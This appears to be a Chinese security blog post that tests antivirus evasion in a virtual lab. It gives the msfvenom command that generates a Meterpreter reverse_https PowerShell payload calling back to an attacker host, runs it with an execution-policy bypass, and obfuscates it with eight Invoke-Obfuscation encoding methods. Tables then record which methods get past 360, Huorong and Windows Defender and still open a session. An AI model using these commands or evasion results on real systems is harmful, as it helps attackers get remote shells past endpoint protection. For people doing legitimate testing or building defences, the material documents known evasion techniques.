微信公众号:乌鸦安全

扫取二维码获取更多信息!

更新时间:2021-05-31
Invoke-Obfuscation下载地址:https://github.com/danielbohannon/Invoke-Obfuscation
参考文档 https://blog.youkuaiyun.com/weixin_44216796/article/details/112723993
先说下结果:
Invoke-Obfuscation的Encoding部分方法混淆可以过360和火绒,但是过不了Windows Defender
1. 模块使用
导入模块
Import-Module C:\0_poweshell\Invoke-Obfuscation-master\Invoke-Obfuscation.psd1
这里注意,一定要写上完整路径,不然会报错

加载模块
Invoke-Obfuscation

支持的加密方法:

-
TOKEN支持分部分混淆 STRING整条命令混淆 COMPRESS将命令转为单行并压缩, ENCODING编码 LAUNCHER选择执行方式
2. msfvenom下msf上线
首先用msfvenom生成一个ps1文件
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow.ps1

然后设置监听:

然后回到win10
2.1 360
直接在有360的环境下进行执行(这里不做云查杀和杀毒的操作)
PowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.ps1

上线成功。
这里来一次查杀,首先使用按位置查杀


报毒,直接在这个位置关闭,不处理

再运行一次,此时360提示有毒。

2.2 Windows defender
复制到Windows sever2019下,Windows Defender直接杀掉

2.3 火绒
关掉Windows Defender

直接使用火绒扫描,没扫描到。

上线试试:

直接就上线了!!!
2.4 总结
因此在此可以进行如下总结:
msfvenom最新版(2021-05-28安装)生成powershell攻击脚本在静态下的查杀效果:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ❌ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ❌ |
ps:以上环境都联网状态下
同样
msfvenom最新版(2021-05-28安装)生成powershell攻击脚本在动态执行上线的查杀效果:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ❌ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ❌ |
ps:以上环境都联网,且均在cmd中执行-ExecutionPolicy Bypass来绕过执行安全策略进行上线。
这里可以看到,360在第一次并不拦截,而且还可以上线,这可能由于我用的是虚拟机,如果是实体机的话,应该会被杀。
3. 混淆大法
设置需要混淆的木马文件路径
set scriptpath C:\0_poweshell\msf-crow.ps1

4. 第一种混淆 1
encoding
选择第一种方法混淆
1

将文件输出的out 1.ps1


文件路径:
C:\0_poweshell\Invoke-Obfuscation-master\1.ps1
攻击机开启监听模式:

上线测试:
4.1 360
在360环境下直接运行(生成之后没有杀毒扫描)
PowerShell.exe -ExecutionPolicy Bypass -File C:\0_poweshell\Invoke-Obfuscation-master\1.ps1
这里是在cmd命令行下执行PowerShell命令的
-ExecutionPolicy Bypass:绕过执行安全策略,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。(参考:https://blog.youkuaiyun.com/Eastmount/article/details/115503946)
360下上线成功

但使用360云查杀之后显示报毒:

4.2 windows Defender
windows Defender 直接静态被杀

4.3 火绒
火绒,静态扫描报毒

动态上线失败

4.4 总结
静态查杀
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ❌ | 未测 |
| windows server 2019 64位 | ❌ | 未测 | ❌ |
全挂。。。
5. 第2种混淆 2


这里先静态测试下:
5.1 火绒
火绒:

5.2 360
360云查杀

5.3 Windows Defender

静态查杀能力:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ❌ | 未测 | ✔️ |
动态上线能力:
PowerShell.exe -ExecutionPolicy Bypass -File C:\0_poweshell\Invoke-Obfuscation-master\2.ps1
火绒:
静态查杀,动态上线失败

windf:
静态查杀正常,动态上线失败

360:
动态上线失败,而且清除了木马,因此这里360也是静动均查杀了木马

此时对其进行重新调整:
5.4 总结
静态查杀能力:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ❌ | 未测 |
| windows server 2019 64位 | ❌ | 未测 | ✔️ |
动态上线:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ❌ | 未测 |
| windows server 2019 64位 | ❌ | 未测 | ❌ |
6. 第三种方法 3

6.1 360

动态上线测试

再次云查杀

6.2 火绒

6.3 windows Defender
静态正常

动态:失败

6.4 总结
静态查杀能力:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ❌ | 未测 | ✔️ |
动态上线:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ❌ | 未测 | ❌ |
7. 第四种方法 4

7.1 360

上线测试

7.2 火绒

动态正常

7.3 windows Defender
静态过了

动态上线失败

7.4 总结
静态查杀能力:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ❌ |
8. 第五种方法 5


现在验证下各种查杀
8.1 360

动态上线

8.2 火绒


8.3 window defender


都报错,那再生成一次,这次报错更多了

8.4 总结
静态查杀能力:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | 运行报错 | 未测 |
| windows server 2019 64位 | 运行报错 | 未测 | 运行报错 |
9. 第6种方法 6

9.1 360

动态上线测试,上线正常

再杀一次,还是正常

9.2 火绒


9.3 window defender

9.4 总结
静态查杀能力:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ❌ |
动态上线:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ❌ |
10. 第七种方法 7

10.1 360

动态上线测试,win10下的powershell崩掉,应该是由于字符太大的原因

10.2 火绒

动态上线测试:

10.3 window defender

由于脚本无法在我的win10下测试,这里到winserver2019上进行测试,开启Windows defender防护

上线失败

10.4 总结
静态查杀能力:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ❌ |
11. 第八种方法 8

11.1 360


11.2 火绒


11.3 window defender


11.4 总结
静态查杀能力:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
|
| 火绒 | 360 | Windows Defender |
| windows 10 64位 | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | ✔️ | 未测 | ❌ |
12. 总结
12.1 版本问题
环境:
Windows10 x64 + 360

winserver2019 x64 + 火绒

windows Defender最新版本

12.2 查杀问题
火绒,360,Windows defender均采用联网查杀,其中360采用云杀毒模式
12.3 bypass av能力总结
msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的静态查杀效果:
|
| msfvenom最新版(2021-05-28安装) | 火绒 | 360 | Windows Defender |
| windows 10 64位 | msfvenom最新版(2021-05-28安装) | 未测 | ❌ | 未测 |
| windows server 2019 64位 | msfvenom最新版(2021-05-28安装) | ✔️ | 未测 | ❌ |
|
| 方法1: ASCII | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法1: ASCII | 未测 | ❌ | 未测 |
| windows server 2019 64位 | 方法1: ASCII | ❌ | 未测 | ❌ |
|
| 方法2: Hex | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法2: Hex | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法2: Hex | ❌ | 未测 | ✔️ |
|
| 方法3: Octal | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法3: Octal | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法3: Octal | ❌ | 未测 | ✔️ |
|
| 方法4: Binary | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法4: Binary | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法4: Binary | ✔️ | 未测 | ✔️ |
|
| 方法5: SecureString (AES) | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法5: SecureString (AES) | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法5: SecureString (AES) | ✔️ | 未测 | ✔️ |
|
| 方法6: BXOR | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法6: BXOR | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法6: BXOR | ✔️ | 未测 | ❌ |
|
| 方法7: Special Characters | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法7: Special Characters | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法7: Special Characters | ✔️ | 未测 | ✔️ |
|
| 方法8: Whitespace | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法8: Whitespace | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法8: Whitespace | ✔️ | 未测 | ✔️ |
ps:以上环境都联网状态下,360采用云查杀
同样
msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的动态上线查杀效果:
|
| msfvenom最新版(2021-05-28安装) | 火绒 | 360 | Windows Defender |
| windows 10 64位 | msfvenom最新版(2021-05-28安装) | 未测 | ❌ | 未测 |
| windows server 2019 64位 | msfvenom最新版(2021-05-28安装) | ✔️ | 未测 | ❌ |
|
| 方法1: ASCII | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法1: ASCII | 未测 | ❌ | 未测 |
| windows server 2019 64位 | 方法1: ASCII | ❌ | 未测 | ❌ |
|
| 方法2: Hex | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法2: Hex | 未测 | ❌ | 未测 |
| windows server 2019 64位 | 方法2: Hex | ❌ | 未测 | ❌ |
|
| 方法3: Octal | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法3: Octal | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法3: Octal | ❌ | 未测 | ❌ |
|
| 方法4: Binary | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法4: Binary | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法4: Binary | ✔️ | 未测 | ❌ |
|
| 方法5: SecureString (AES) | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法5: SecureString (AES) | 未测 | 运行报错 | 未测 |
| windows server 2019 64位 | 方法5: SecureString (AES) | 运行报错 | 未测 | 运行报错 |
|
| 方法6: BXOR | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法6: BXOR | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法6: BXOR | ✔️ | 未测 | ❌ |
|
| 方法7: Special Characters | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法7: Special Characters | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法7: Special Characters | ✔️ | 未测 | ❌ |
|
| 方法8: Whitespace | 火绒 | 360 | Windows Defender |
| windows 10 64位 | 方法8: Whitespace | 未测 | ✔️ | 未测 |
| windows server 2019 64位 | 方法8: Whitespace | ✔️ | 未测 | ❌ |
ps:以上环境都联网状态下,360采用云查杀
1516





